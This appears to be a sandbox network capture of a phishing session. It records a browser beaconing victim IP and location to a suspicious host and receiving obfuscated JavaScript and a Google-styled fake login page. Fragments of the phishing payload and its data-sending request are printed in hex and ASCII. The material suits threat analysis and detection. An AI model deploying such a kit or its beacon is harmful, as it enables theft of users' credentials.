cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1811&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1479&delivery_rate=1571582&cwnd=249&unsent_bytes=0&cid=11c272d5b403d366&ts=654&x=0"
2024-12-17 21:24:53 UTC	420	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 65 65 33 64 3d 5b 5c 22 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 34 5c 5c 78 35 46 5c 5c 78 36 35 5c 5c 78 36 44 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 37 39 5c 5c 78 36 35 5c 5c 78 36 35 5c 5c 78 35 46 5c 5c 78 36 39 5c 5c 78 36 34 5c 22 2c 5c 22 5c 5c 78 30 41 3c 21 2d 2d 20 4d 61 69 6e 20 50 61 67 65 20 2d 2d 3e 5c 5c 78 30 41 5c 5c 78 30 41 3c 6c 69 6e 6b 20 72 65 6c 3d 5c 5c 5c 22 73 74 79 6c 65 73 68 65 65 74 5c 5c 5c 22 20 68 72 65 66 3d 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 63 3f 65 78 70 6f 72 74 3d 64 6f 77 6e 6c 6f 61 64 26 69 64 3d 31 5f 62 63 43 52 4d 74 6e 79 46 59 61 52 44 34 30 6a 41 42 Data Ascii: {"output": "var _0xee3d=[\"\\x69\\x6E\\x70\\x75\\x74\\x5F\\x65\\x6D\\x70\\x6C\\x6F\\x79\\x65\\x65\\x5F\\x69\\x64\",\"\\x0A... Main Page -->\\x0A\\x0A<link rel=\\\"stylesheet\\\" href=\\\"https://drive.google.com/uc?export=download&id=1_bcCRMtnyFYaRD40jAB
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 5c 5c 5c 22 3e 5c 5c 78 30 41 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 5c 5c 5c 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 5c 5c 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 5c 5c 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 5c 5c 5c 22 20 2f 3e 5c 5c 78 30 41 3c 6c 69 6e 6b 20 72 65 6c 3d 5c 5c 5c 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 5c 5c 5c 22 20 68 72 65 66 3d 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 64 65 76 72 65 6c 2d 64 65 76 73 69 74 65 2f 70 72 6f 64 2f 76 65 37 31 66 35 35 38 66 38 66 64 66 63 34 31 61 61 34 64 66 62 33 64 36 38 34 39 62 33 61 35 38 61 65 32 35 37 64 65 39 66 63 62 31 38 Data Ascii: dth, initial-scale=1\\\">\\x0A <meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\\x0A<link rel=\\\"shortcut icon\\\" href=\\\"https://www.gstatic.com/devrel-devsite/prod/ve71f558f8fdfc41aa4dfb3d6849b3a58ae257de9fcb18
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 7d 40 6b 65 79 66 72 61 6d 65 73 20 71 75 61 6e 74 75 6d 57 69 7a 42 6f 78 49 6e 6b 53 70 72 65 61 64 20 7b 30 25 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 30 2e 32 29 20 7d 74 6f 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 32 2e 32 29 20 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 71 75 61 6e 74 75 6d 57 69 7a 49 63 6f 6e 46 6f 63 75 73 50 75 6c 73 65 20 7b 30 25 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 31 2e 35 29 3b 6f 70 61 63 69 74 79 3a 20 30 20 7d 74 6f 20 7b 74 72 61 6e 73 66 6f Data Ascii: display: block }@keyframes quantumWizBoxInkSpread {0% {transform: translate(-50%,-50%) scale(0.2) }to {transform: translate(-50%,-50%) scale(2.2) }}@keyframes quantumWizIconFocusPulse {0% {transform: translate(-50%,-50%) scale(1.5);opacity: 0 }to {transfo
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 74 72 61 6e 73 6c 61 74 65 2d 73 74 61 72 74 2c 30 29 29 20 73 63 61 6c 65 28 31 29 20 7d 74 6f 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 74 72 61 6e 73 6c 61 74 65 2d 65 6e 64 2c 30 29 29 20 73 63 61 6c 65 28 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 63 61 6c 65 2c 31 29 29 20 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 7b 30 25 20 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 6c 69 6e 65 61 72 3b 6f 70 61 63 69 74 79 3a 20 30 20 7d 74 6f 20 7b 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d Data Ascii: r(--mdc-ripple-fg-translate-start,0)) scale(1) }to {transform: translate(var(--mdc-ripple-fg-translate-end,0)) scale(var(--mdc-ripple-fg-scale,1)) }}@keyframes mdc-ripple-fg-opacity-in {0% {animation-timing-function: linear;opacity: 0 }to {opacity: var(--
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 66 74 65 72 20 7b 74 6f 70 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 30 29 3b 6c 65 66 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 30 29 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 6c 4a 66 5a 4d 63 3a 3a 61 66 74 65 72 20 7b 61 6e 69 6d 61 74 69 6f 6e 3a 20 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 61 64 69 75 73 2d 69 6e 20 32 32 35 6d 73 20 66 6f 72 77 61 72 64 73 2c 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 37 35 6d 73 20 66 6f 72 77 61 72 64 73 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 Data Ascii: fter {top: var(--mdc-ripple-top,0);left: var(--mdc-ripple-left,0) }.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-lJfZMc::after {animation: mdc-ripple-fg-radius-in 225ms forwards,mdc-ripple-fg-opacity-in 75ms forwards }.VfPpkd-ksKsZd-XxIAqe.VfPp
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 66 74 65 72 20 7b 74 6f 70 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 63 61 6c 63 28 35 30 25 20 2d 20 35 30 25 29 29 3b 6c 65 66 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 63 61 6c 63 28 35 30 25 20 2d 20 35 30 25 29 29 3b 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 69 7a 65 2c 31 30 30 25 29 3b 68 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 69 7a 65 2c 31 30 30 25 29 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 3a 3a 61 66 74 65 72 2c 2e 56 66 Data Ascii: fter {top: var(--mdc-ripple-top,calc(50% - 50%));left: var(--mdc-ripple-left,calc(50% - 50%));width: var(--mdc-ripple-fg-size,100%);height: var(--mdc-ripple-fg-size,100%) }.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded].VfPpkd-ksKsZd-mWPk3d::after,.Vf
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 61 64 64 69 6e 67 3a 20 31 32 70 78 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 20 7b 6d 61 78 2d 68 65 69 67 68 74 3a 20 34 38 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 70 78 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2d 4f 57 58 45 58 65 2d 65 35 4c 4c 52 63 2d 53 78 51 75 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 20 7b 77 69 64 74 68 3a 20 34 30 70 78 3b 68 65 69 67 68 74 3a 20 34 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 34 70 78 3b 6d 61 72 67 69 6e 2d 72 Data Ascii: adding: 12px }.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-J1Ukfc-LhBDec {max-height: 48px;max-width: 48px }.VfPpkd-Bz112c-LgbsSe.VfPpkd-Bz112c-LgbsSe-OWXEXe-e5LLRc-SxQuSe .VfPpkd-Bz112c-Jh9lGc {width: 40px;height: 40px;margin-top: 4px;margin-bottom: 4px;margin-r
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2d 4f 57 58 45 58 65 2d 4b 56 75 6a 38 64 2d 51 33 44 58 78 20 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 20 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 20 Data Ascii: fPpkd-Bz112c-LgbsSe-OWXEXe-KVuj8d-Q3DXx {align-items: center;display: inline-flex;justify-content: center }.VfPpkd-Bz112c-J1Ukfc-LhBDec {pointer-events: none;border: 2px solid transparent;border-radius: 6px;box-sizing: content-box;position: absolute;top:
2024-12-17 21:24:53 UTC	1369	IN	Data Raw: 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 20 74 72 61 6e 73 66 6f 72 6d 2c 6f 70 61 63 69 74 79 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 20 7b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 6f 70 61 63 69 74 79 3a 20 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 20 5c 5c 5c 22 5c 5c 5c 22 20 7d Data Ascii: ighlight-color: rgba(0,0,0,0);will-change: transform,opacity }.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-Jh9lGc::after {position: absolute;border-radius: 50%;opacity: 0;pointer-events: none;content: \\\"\\\" }

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49742	104.21.57.143	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:56 UTC	760	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: glp6srokudo.tkllop.online Connection: keep-alive Content-Length: 119 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:56 UTC	119	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 5f 47 6d 61 69 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 4c 6e 64 4c 48 32 64 4e 56 45 61 42 63 62 48 36 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 31 38 39 26 63 69 74 79 3d 4e 65 77 2b 59 6f 72 6b 2b 43 69 74 79 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Normal_Gmail&NAMEOFTHEGUY=LndLH2dNVEaBcbH6&ip=8.46.123.189&city=New+York+City&country=United+States+of+America
2024-12-17 21:24:56 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:56 GMT Content-Type: application/json Content-Length: 723791 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6BupcVEmWtD77xXO%2Fuw%2F1FwtmWoqN9pTzTAstxoLLsL9nZRv%2FR3nFpbq7SYMEKVfHRQoSbFK9yBeyYn%2FWEd2RBm%2FHlsmeEOh3s25c2Dk5iNpL1iIVAykdyxJBDw4P3yYEVpHdAsgPuYbncQI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb9caec74243-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1785&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1479&delivery_rate=1624026&cwnd=193&unsent_bytes=0&cid=5922a1e199b03cc0&ts=823&x=0"
2024-12-17 21:24:56 UTC	414	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 65 65 33 64 3d 5b 5c 22 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 34 5c 5c 78 35 46 5c 5c 78 36 35 5c 5c 78 36 44 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 37 39 5c 5c 78 36 35 5c 5c 78 36 35 5c 5c 78 35 46 5c 5c 78 36 39 5c 5c 78 36 34 5c 22 2c 5c 22 5c 5c 78 30 41 3c 21 2d 2d 20 4d 61 69 6e 20 50 61 67 65 20 2d 2d 3e 5c 5c 78 30 41 5c 5c 78 30 41 3c 6c 69 6e 6b 20 72 65 6c 3d 5c 5c 5c 22 73 74 79 6c 65 73 68 65 65 74 5c 5c 5c 22 20 68 72 65 66 3d 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 63 3f 65 78 70 6f 72 74 3d 64 6f 77 6e 6c 6f 61 64 26 69 64 3d 31 5f 62 63 43 52 4d 74 6e 79 46 59 61 52 44 34 30 6a 41 42 Data Ascii: {"output": "var _0xee3d=[\"\\x69\\x6E\\x70\\x75\\x74\\x5F\\x65\\x6D\\x70\\x6C\\x6F\\x79\\x65\\x65\\x5F\\x69\\x64\",\"\\x0A... Main Page -->\\x0A\\x0A<link rel=\\\"stylesheet\\\" href=\\\"https://drive.google.com/uc?export=download&id=1_bcCRMtnyFYaRD40jAB
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 5c 5c 5c 22 3e 5c 5c 78 30 41 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 5c 5c 5c 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 5c 5c 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 5c 5c 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 5c 5c 5c 22 20 2f 3e 5c 5c 78 30 41 3c 6c 69 6e 6b 20 72 65 6c 3d 5c 5c 5c 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 5c 5c 5c 22 20 68 72 65 66 3d 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 64 65 76 72 65 6c 2d 64 65 76 73 69 74 65 2f 70 72 6f 64 2f 76 65 37 31 66 35 35 38 66 38 66 64 66 63 34 31 61 61 34 64 66 62 33 64 36 38 34 39 62 33 61 35 38 61 65 32 35 37 64 65 Data Ascii: ice-width, initial-scale=1\\\">\\x0A <meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\\x0A<link rel=\\\"shortcut icon\\\" href=\\\"https://www.gstatic.com/devrel-devsite/prod/ve71f558f8fdfc41aa4dfb3d6849b3a58ae257de
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 75 6f 79 66 20 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 7d 40 6b 65 79 66 72 61 6d 65 73 20 71 75 61 6e 74 75 6d 57 69 7a 42 6f 78 49 6e 6b 53 70 72 65 61 64 20 7b 30 25 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 30 2e 32 29 20 7d 74 6f 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 32 2e 32 29 20 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 71 75 61 6e 74 75 6d 57 69 7a 49 63 6f 6e 46 6f 63 75 73 50 75 6c 73 65 20 7b 30 25 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 31 2e 35 29 3b 6f 70 61 63 69 74 79 3a 20 30 20 7d 74 6f 20 7b 74 Data Ascii: uoyf {display: block }@keyframes quantumWizBoxInkSpread {0% {transform: translate(-50%,-50%) scale(0.2) }to {transform: translate(-50%,-50%) scale(2.2) }}@keyframes quantumWizIconFocusPulse {0% {transform: translate(-50%,-50%) scale(1.5);opacity: 0 }to {t
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 61 74 65 28 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 74 72 61 6e 73 6c 61 74 65 2d 73 74 61 72 74 2c 30 29 29 20 73 63 61 6c 65 28 31 29 20 7d 74 6f 20 7b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 74 72 61 6e 73 6c 61 74 65 2d 65 6e 64 2c 30 29 29 20 73 63 61 6c 65 28 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 63 61 6c 65 2c 31 29 29 20 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 7b 30 25 20 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 6c 69 6e 65 61 72 3b 6f 70 61 63 69 74 79 3a 20 30 20 7d 74 6f 20 7b 6f 70 61 63 69 74 79 3a 20 Data Ascii: ate(var(--mdc-ripple-fg-translate-start,0)) scale(1) }to {transform: translate(var(--mdc-ripple-fg-translate-end,0)) scale(var(--mdc-ripple-fg-scale,1)) }}@keyframes mdc-ripple-fg-opacity-in {0% {animation-timing-function: linear;opacity: 0 }to {opacity:
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 54 71 64 3a 3a 61 66 74 65 72 20 7b 74 6f 70 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 30 29 3b 6c 65 66 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 30 29 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 6c 4a 66 5a 4d 63 3a 3a 61 66 74 65 72 20 7b 61 6e 69 6d 61 74 69 6f 6e 3a 20 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 61 64 69 75 73 2d 69 6e 20 32 32 35 6d 73 20 66 6f 72 77 61 72 64 73 2c 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 37 35 6d 73 20 66 6f 72 77 61 72 64 73 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 Data Ascii: Tqd::after {top: var(--mdc-ripple-top,0);left: var(--mdc-ripple-left,0) }.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-lJfZMc::after {animation: mdc-ripple-fg-radius-in 225ms forwards,mdc-ripple-fg-opacity-in 75ms forwards }.VfPpkd-ksKsZd-XxIAq
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 6b 33 64 3a 3a 61 66 74 65 72 20 7b 74 6f 70 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 63 61 6c 63 28 35 30 25 20 2d 20 35 30 25 29 29 3b 6c 65 66 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 63 61 6c 63 28 35 30 25 20 2d 20 35 30 25 29 29 3b 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 69 7a 65 2c 31 30 30 25 29 3b 68 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 73 69 7a 65 2c 31 30 30 25 29 20 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 3a 3a 61 66 74 Data Ascii: k3d::after {top: var(--mdc-ripple-top,calc(50% - 50%));left: var(--mdc-ripple-left,calc(50% - 50%));width: var(--mdc-ripple-fg-size,100%);height: var(--mdc-ripple-fg-size,100%) }.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded].VfPpkd-ksKsZd-mWPk3d::aft
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 34 38 70 78 3b 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 20 7b 6d 61 78 2d 68 65 69 67 68 74 3a 20 34 38 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 70 78 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2d 4f 57 58 45 58 65 2d 65 35 4c 4c 52 63 2d 53 78 51 75 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 20 7b 77 69 64 74 68 3a 20 34 30 70 78 3b 68 65 69 67 68 74 3a 20 34 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 34 70 78 3b 6d 61 Data Ascii: 48px;padding: 12px }.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-J1Ukfc-LhBDec {max-height: 48px;max-width: 48px }.VfPpkd-Bz112c-LgbsSe.VfPpkd-Bz112c-LgbsSe-OWXEXe-e5LLRc-SxQuSe .VfPpkd-Bz112c-Jh9lGc {width: 40px;height: 40px;margin-top: 4px;margin-bottom: 4px;ma
2024-12-17 21:24:56 UTC	1369	IN	Data Raw: 6e 65 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2d 4f 57 58 45 58 65 2d 4b 56 75 6a 38 64 2d 51 33 44 58 78 20 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 20 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 Data Ascii: ne }.VfPpkd-Bz112c-LgbsSe-OWXEXe-KVuj8d-Q3DXx {align-items: center;display: inline-flex;justify-content: center 